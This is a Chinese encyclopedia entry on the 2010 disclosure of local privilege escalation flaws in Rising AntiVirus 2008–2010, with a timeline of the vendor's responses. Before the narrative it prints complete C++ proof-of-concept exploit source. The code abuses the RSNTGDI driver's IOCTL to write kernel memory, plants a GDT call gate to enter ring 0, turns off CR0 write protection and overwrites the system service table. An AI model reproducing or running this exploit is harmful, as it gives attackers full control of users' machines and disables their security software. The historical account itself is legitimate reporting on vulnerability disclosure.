词条 | 瑞星漏洞门事件 |
释义 | 瑞星漏洞测试及研究C++源代码#include "stdafx.h" #include "windows.h" enum { SystemModuleInformation = 11 }; typedef struct { ULONG Unknown1; ULONG Unknown2; PVOID Base; ULONG Size; ULONG Flags; USHORT Index; USHORT NameLength; USHORT LoadCount; USHORT PathLength; CHAR ImageName[256]; } SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY; typedef struct { ULONG Count; SYSTEM_MODULE_INFORMATION_ENTRY Module[1]; } SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION; HANDLE g_RsGdiHandle = 0 ; void __stdcall WriteKVM(PVOID Address , ULONG Value) { ULONG ColorValue = Value ; ULONG btr ; ULONG ColorBuffer = 0 ; DeviceIoControl(g_RsGdiHandle , 0x83003C0B, &ColorValue , sizeof(ULONG), &ColorBuffer , sizeof(ULONG), &btr , 0 ); DeviceIoControl(g_RsGdiHandle , 0x83003C0B, &ColorValue , sizeof(ULONG), Address , sizeof(ULONG), &btr , 0 ); return ; } void AddCallGate() { ULONG Gdt_Addr; ULONG CallGateData[0x4]; ULONG Icount; __asm { push edx sgdt [esp-2] pop edx mov Gdt_Addr , edx } __asm { push 0xc3 push Gdt_Addr call WriteKVM mov eax,Gdt_Addr mov word ptr[CallGateData],ax shr eax,16 mov word ptr[CallGateData+6],ax mov dword ptr[CallGateData+2],0x0ec0003e8 mov dword ptr[CallGateData+8],0x0000ffff mov dword ptr[CallGateData+12],0x00cf9a00 xor eax,eax LoopWrite: mov edi,dword ptr CallGateData[eax] push edi mov edi,Gdt_Addr add edi,0x3e0 add edi,eax push edi mov Icount,eax call WriteKVM mov eax,Icount add eax , 0x4 cmp eax,0x10 jnz LoopWrite } return ; } void IntoR0(PVOID function) { WORD Callgt[3]; Callgt[0] = 0; Callgt[1] = 0; Callgt[2] = 0x3e3; __asm { call fword ptr[Callgt] mov eax,esp mov esp,[esp+4] push eax call function pop esp push offset ring3Ret retf ring3Ret: nop } return ; } #pragma pack(1) typedef struct _IDTR { SHORT IDTLimit; UINT IDTBase; }IDTR, *PIDTR, **PPIDTR; #pragma pack() ULONG g_RealSSDT = 0 ; ULONG ServiceNum = 0 ; ULONG OrgService [0x1000] ; ULONG RvaToOffset(IMAGE_NT_HEADERS *NT, ULONG Rva) { ULONG Offset = Rva, Limit; IMAGE_SECTION_HEADER *Img; WORD i; Img = IMAGE_FIRST_SECTION(NT); if (Rva < Img->PointerToRawData) return Rva; for (i = 0; i < NT->FileHeader.NumberOfSections; i++) { if (Img[i].SizeOfRawData) Limit = Img[i].SizeOfRawData; else Limit = Img[i].Misc.VirtualSize; if (Rva >= Img[i].VirtualAddress && Rva < (Img[i].VirtualAddress + Limit)) { if (Img[i].PointerToRawData != 0) { Offset -= Img[i].VirtualAddress; Offset += Img[i].PointerToRawData; } return Offset; } } return 0; } #define ibaseDD *(PDWORD)&ibase DWORD GetHeaders(PCHAR ibase, PIMAGE_FILE_HEADER *pfh, PIMAGE_OPTIONAL_HEADER *poh, PIMAGE_SECTION_HEADER *psh) { PIMAGE_DOS_HEADER mzhead=(PIMAGE_DOS_HEADER)ibase; if ((mzhead->e_magic!=IMAGE_DOS_SIGNATURE)||(ibaseDD[mzhead->e_lfanew]!=IMAGE_NT_SIGNATURE)) return FALSE; *pfh=(PIMAGE_FILE_HEADER)&ibase[mzhead->e_lfanew]; if (((PIMAGE_NT_HEADERS)*pfh)->Signature!=IMAGE_NT_SIGNATURE) return FALSE; *pfh=(PIMAGE_FILE_HEADER)((PBYTE)*pfh+sizeof(IMAGE_NT_SIGNATURE)); *poh=(PIMAGE_OPTIONAL_HEADER)((PBYTE)*pfh+sizeof(IMAGE_FILE_HEADER)); if ((*poh)->Magic!=IMAGE_NT_OPTIONAL_HDR32_MAGIC) return FALSE; *psh=(PIMAGE_SECTION_HEADER)((PBYTE)*poh+sizeof(IMAGE_OPTIONAL_HEADER)); return TRUE; } typedef struct { WORD offset:12; WORD type:4; } IMAGE_FIXUP_ENTRY, *PIMAGE_FIXUP_ENTRY; #define RVATOVA(base,offset) ((PVOID)((DWORD)(base)+(DWORD)(offset))) DWORD FindKiServiceTable(HMODULE hModule,DWORD dwKSDT , PULONG ImageBase) { PIMAGE_FILE_HEADER pfh; PIMAGE_OPTIONAL_HEADER poh; PIMAGE_SECTION_HEADER psh; PIMAGE_BASE_RELOCATION pbr; PIMAGE_FIXUP_ENTRY pfe; DWORD dwFixups=0,i,dwPointerRva,dwPointsToRva,dwKiServiceTable; BOOL bFirstChunk; GetHeaders((PCHAR)hModule,&pfh,&poh,&psh); if ((poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress) && (!((pfh->Characteristics)&IMAGE_FILE_RELOCS_STRIPPED))) { pbr=(PIMAGE_BASE_RELOCATION)RVATOVA(poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress,hModule); bFirstChunk=TRUE; while (bFirstChunk || pbr->VirtualAddress) { bFirstChunk=FALSE; pfe=(PIMAGE_FIXUP_ENTRY)((DWORD)pbr+sizeof(IMAGE_BASE_RELOCATION)); for (i=0;i<(pbr->SizeOfBlock-sizeof(IMAGE_BASE_RELOCATION))>>1;i++,pfe++) { if (pfe->type==IMAGE_REL_BASED_HIGHLOW) { dwFixups++; dwPointerRva=pbr->VirtualAddress+pfe->offset; dwPointsToRva=*(PDWORD)((DWORD)hModule+dwPointerRva)-(DWORD)poh->ImageBase; if (dwPointsToRva==dwKSDT) { if (*(PWORD)((DWORD)hModule+dwPointerRva-2)==0x05c7) { dwKiServiceTable=*(PDWORD)((DWORD)hModule+dwPointerRva+4)-poh->ImageBase; *ImageBase = poh->ImageBase; return dwKiServiceTable; } } } } *(PDWORD)&pbr+=pbr->SizeOfBlock; } } return 0; } DWORD CR0Reg ; ULONG realssdt ; void InKerneProc() { __asm { cli mov eax, cr0 mov CR0Reg,eax and eax,0xFFFEFFFF mov cr0, eax } int i; for (i = 0; i < (int)ServiceNum; i++) { *(ULONG*)(*(ULONG*)realssdt + i * sizeof(ULONG)) = OrgService[i]; } __asm { mov eax, CR0Reg mov cr0, eax sti } } int main(int argc, char* argv[]) { printf("Rising AntiVirus 2008 ~ 2010 \" "Local Privilege Escalation Vulnerability Proof Of Concept Exploit\ 2010-1-27\"); g_RsGdiHandle = CreateFile("\\\\\\\\.\\\\RSNTGDI" , 0, FILE_SHARE_READ | FILE_SHARE_WRITE , 0, OPEN_EXISTING , 0 , 0 ); if (g_RsGdiHandle == INVALID_HANDLE_VALUE) { return 0 ; } SYSTEM_MODULE_INFORMATION ModuleInfo ; // Learn the loaded kernel (e.g. NTKRNLPA vs NTOSKRNL), and it's base address HMODULE hlib = GetModuleHandle("ntdll.dll"); PVOID pNtQuerySystemInformation = GetProcAddress(hlib , "NtQuerySystemInformation"); ULONG infosize = sizeof(ModuleInfo); __asm { push 0 push infosize lea eax , ModuleInfo push eax push 11 call pNtQuerySystemInformation } HMODULE KernelHandle ; LPCSTR ntosname = (LPCSTR)((ULONG)ModuleInfo.Module[0].ImageName + ModuleInfo.Module[0].PathLength); // Load the kernel image specified KernelHandle = LoadLibrary(ntosname); if (KernelHandle == 0 ) { return 0 ; } ULONG KeSSDT = (ULONG)GetProcAddress(KernelHandle , "KeServiceDescriptorTable"); if (KeSSDT == 0 ) { return 0 ; } ULONG ImageBase = 0 ; ULONG KiSSDT = FindKiServiceTable(KernelHandle , KeSSDT - (ULONG)KernelHandle , &ImageBase); if (KiSSDT == 0 ) { return 0 ; } KiSSDT += (ULONG)KernelHandle; ServiceNum = 0x11c ; ULONG i ; for (i = 0 ; i < ServiceNum ; i ++) { OrgService[i] = *(ULONG*)(KiSSDT + i * sizeof(ULONG)) + (ULONG)ModuleInfo.Module[0].Base - ImageBase; } realssdt = KeSSDT - (ULONG)KernelHandle + (ULONG)ModuleInfo.Module[0].Base; SetThreadAffinityMask(GetCurrentThread () , 0 ) ; AddCallGate(); IntoR0(InKerneProc); return 0; } 瑞星漏洞被国外组织曝光2010年初,波兰一家安全组织NT Internals发表申明说:瑞星杀毒软件长期存在两个本地提权0day安全漏洞,使木马病毒能轻易获得瑞星用户的系统控制权。瑞星杀毒的这两个漏洞涉及瑞星杀毒软件2008、2009、2010等主要版本,而且利用方式简单、稳定,能使黑客在攻击瑞星用户时获得系统最高权限。 根据这家安全组织的公告,其发现的两个漏洞在瑞星的2008 2009 2010版本中均存在。并且瑞星在回应中也对此承认,瑞星说:波兰ntinternals组织分别于2008年10月、2009年4月分别向瑞星研发部门通报了以上两个漏洞,双方就相关问题进行了技术沟通。 来自国内的安全组织南京大学计算机系软件小组也证实了这一点,其发表在博客中的文章称:安全软件存在这样严重的安全漏洞非常罕见。瑞星的第二个漏洞不但完全没有修复,利用方式也非常简单,可以使黑客获得系统最高权限,让用户电脑以及政府机构和企业的内网完全丧失防御能力。而第一个漏洞尽管被部分修复,黑客仍可以将存在漏洞的瑞星驱动文件提取出来,用来武装自己制作的木马,以突破其它安全软件的防御(安全软件通常都会放行带瑞星数字签名的驱动文件),所以即便没有安装瑞星的电脑也有可能因为这个漏洞而遭殃。这两个漏洞涉及2008 2009 2010,可以说影响面很广,并且是高危漏洞。 瑞星第三个漏洞曝光2010年2月1日最新消息,波兰安全组织NT Internals官网近日再次发文,确认瑞星官网下载的瑞星2010版仍然存在“本地提权”漏洞。并声称他“从瑞星2010版上又找到了一个新漏洞。” 2010年1月29日,该网站最新发布了一篇题为《瑞星杀毒软件2008/2009/2010是否还有漏洞?》的文章。作者Alex在文中再度确认,他29日从瑞星中文官网下载的瑞星2010版仍然存在“本地提权”漏洞。作为证据,他此次干脆公开了该漏洞的部分利用代码。在文章最后,Alex声称他正在“写另一个新的安全建议”,因为他“从瑞星杀毒2010中发现了另外一个漏洞”。 一周前,波兰安全组织NT Internals披露了瑞星杀毒软件存在的两个“本地提权”0day漏洞,并称通报给瑞星近一年后,瑞星仅“部分修复”了第一个漏洞,第二个漏洞则“完全没有修复”。南京大学计算机系软件小组和360公司都验证了这一漏洞真实存在,并且利用方式非常简单,可以使黑客获得系统最高权限,让用户电脑以及政府机构和企业的内网完全丧失防御能力。随后360向用户紧急提供了针对该漏洞的临时补丁。 但瑞星公司先后两次发表声明称,早在2009年5月就“彻底修复了两个漏洞”,竭力弱化“本地提权”漏洞的危害性,并用“国际知名公司产品的数十个同类漏洞从未被实际利用过”这一理由为自己的行为辩护。 针对瑞星杀软漏洞的攻击代码已经在国内外权威漏洞库、安全网站、论坛大量流传,相应的木马样本也已现身黑客论坛。经多家论坛测试,在不使用360临时补丁的情况下,漏洞攻击代码可轻松破坏瑞星用户上所有安全软件的保护。 另据瑞星官方论坛及多家网络安全论坛网友反馈,瑞星杀毒软件自1月29日夜间开始大规模升级部分驱动文件,而且正是存在“本地提权”漏洞的文件。截止发稿前,瑞星并没有公开说明此次升级是否与修复漏洞有关。 瑞星漏洞门事件回放1、2008年9月,波兰安全组织NT Internals发现瑞星杀毒软件中存在一个“本地提权”0day漏洞,并秘密报告瑞星公司; 2、2009年4月,NT Internals发现瑞星杀毒软件中存在第二个“本地提权”0day漏洞,并秘密报告瑞星公司; 3、2010年1月23日,瑞星一直未能修复两个漏洞,NT Internals将漏洞信息在其官网曝光; 2010年1月28日,瑞星发表声明称“早在2009年5月就对两个漏洞进行了彻底修复”; 4、2010年1月28日,南京大学计算机系软件小组经验证认为瑞星仍存在漏洞;相关链接: 5、2010年1月29日,360安全中心发布瑞星漏洞临时补丁; 6、2010年1月29日,瑞星再发声明承认产品存在漏洞,但同时认为“瑞星用户在上网时不会受到这种漏洞影响,在实际应用中极难被利用来进行远程攻击”。而此时,网上针对瑞星漏洞的攻击代码已大量流传。 7、2010年1月29日,波兰安全组织NT Internals发公告《瑞星杀毒软件2008/2009/2010是否还有漏洞?》,再度确认28日从瑞星中文官网下载的瑞星2010最新版仍存在同一漏洞。同时公布了部分利用代码RsNTGdi_Exp.zip,并称“从瑞星2010版上又找到了一个新漏洞。” |
随便看 |
百科全书收录4421916条中文百科知识,基本涵盖了大多数领域的百科知识,是一部内容开放、自由的电子版百科全书。